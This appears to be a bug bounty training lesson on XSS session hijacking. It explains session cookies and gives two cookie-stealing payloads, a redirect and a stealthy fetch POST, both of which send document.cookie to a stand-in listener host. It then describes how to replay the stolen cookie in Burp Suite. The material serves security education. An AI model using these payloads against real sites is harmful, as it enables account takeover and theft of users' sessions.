XSS for Session Hijacking

Hello! Welcome to the next lesson in your journey to becoming a professional bug bounty hunter.

In our last lesson, you learned the critical art of bypassing XSS filters. You now have a methodology to get your JavaScript payloads to execute even when a web application tries to block them. Popping an alert(1) is the classic proof-of-concept, but to demonstrate real impact—the kind that earns bounties—you need to make your script do something malicious.

Today, we'll focus on the most classic and impactful XSS attack: session hijacking. Your learning outcome is to craft an XSS payload to steal a victim's session cookies and exfiltrate them to an attacker-controlled server. This is a foundational skill that turns a simple XSS finding into a critical vulnerability, often leading to full account takeover.

1. The Goal: Why Steal Cookies?

When you log into a web application, the server gives your browser a small piece of data called a session cookie. This cookie acts like a temporary key or an access badge. On subsequent requests, your browser sends this cookie back to the server to prove that you are still authenticated.

If an attacker can steal this cookie, they can present it to the server and impersonate you, gaining full access to your account without needing your password. This is called session hijacking.

Let's watch a short video that explains the value of cookies and demonstrates how to access them using JavaScript.

As you saw, alert(document.cookie) proves we can access the cookie. The next logical step is to send it somewhere only we can see it.

2. Exfiltration: Sending the Cookie Home

Exfiltration is the process of secretly sending data from the victim's environment to a location you control. The simplest method, often used for quick proofs-of-concept, is to redirect the user's browser to your server, with the cookie appended to the URL as a parameter.

To do this, you need two things:

1. A payload that grabs the cookie and triggers the redirect.
2. A listener on a server you control to catch the incoming request and log the cookie.

Services like RequestBin or PortSwigger's Burp Collaborator act as public listeners, giving you a unique URL to send data to.

Let's see how this is done in practice.

The payload looks something like this:
<script>window.location.href = 'https://your-listener.com/steal?data=' + document.cookie;</script>

When this script executes in a victim's browser, they are silently redirected, and their cookie appears in your listener's logs.

3. Stealthier Exfiltration with fetch

The redirect method works, but it's not subtle. A more professional and stealthy approach is to send the data in the background without any visible change to the victim's page. Your Computer Science background and familiarity with JavaScript will be an advantage here. We can use the fetch API to send an asynchronous HTTP request.

The Hackviser cheat sheet provides excellent, concise examples of payloads for this.

A modern fetch payload using a POST request would look like this. It's clean, powerful, and much harder to detect:

<script>
  fetch('https://your-listener.com/logger', {
    method: 'POST',
    mode: 'no-cors', // Important for cross-origin requests
    body: JSON.stringify({
      cookie: document.cookie,
      location: window.location.href
    })
  });
</script>

4. The Payoff: Using the Stolen Cookie

Once your listener captures the cookie, the attack is not yet complete. The final step is to use that cookie to hijack the victim's session. This is typically done using an interception proxy like Burp Suite.

The process is simple:

1. Browse to the target application.
2. Intercept a request using Burp Proxy.
3. Replace the Cookie header value with the victim's cookie that you stole.
4. Forward the request.

The server will now process the request as if it came from the victim, granting you access to their account.

This video demonstrates the entire flow, from injecting a stored XSS payload to capturing the cookie with a local Python server and finally using it in Burp Suite.

5. Hands-on Lab: Steal the Cookie

Now it's your turn to put this into practice. We will use a lab from PortSwigger, the creators of Burp Suite. Your task is to find a stored XSS vulnerability and use it to steal a victim's session cookie.

Conclusion

Congratulations! You've now mastered one of the most fundamental and impactful attacks in a web penetration tester's toolkit. By moving beyond a simple alert(), you've learned how to demonstrate the true risk of an XSS vulnerability: complete account compromise.

Key Takeaways:

• The Goal is Impact: Stealing session cookies is a primary way to demonstrate the impact of XSS, leading to session hijacking.
• The Process: The attack follows a clear sequence: inject a payload, access the cookie with document.cookie, exfiltrate it to a listener you control, and then use the stolen cookie to impersonate the victim.
• Stealth is Key: While simple redirects work, professional bug hunters use stealthy, asynchronous methods like the fetch API to exfiltrate data without alerting the user.
• Tools of the Trade: A request listener (like Burp Collaborator) and an interception proxy (like Burp Suite) are essential tools for executing this attack.

Next Lesson Preview:
Stealing cookies is incredibly powerful, but what if they are protected? Modern applications can use the HttpOnly flag on cookies, which prevents them from being accessed by JavaScript. Does this make XSS useless? Not at all. In our next lesson, you will learn how to craft an XSS payload to perform unauthorized actions on behalf of a victim user (CSRF via XSS). This will allow you to leverage an XSS vulnerability to change a victim's email, reset their password, or perform other sensitive actions, even when you can't steal their cookie.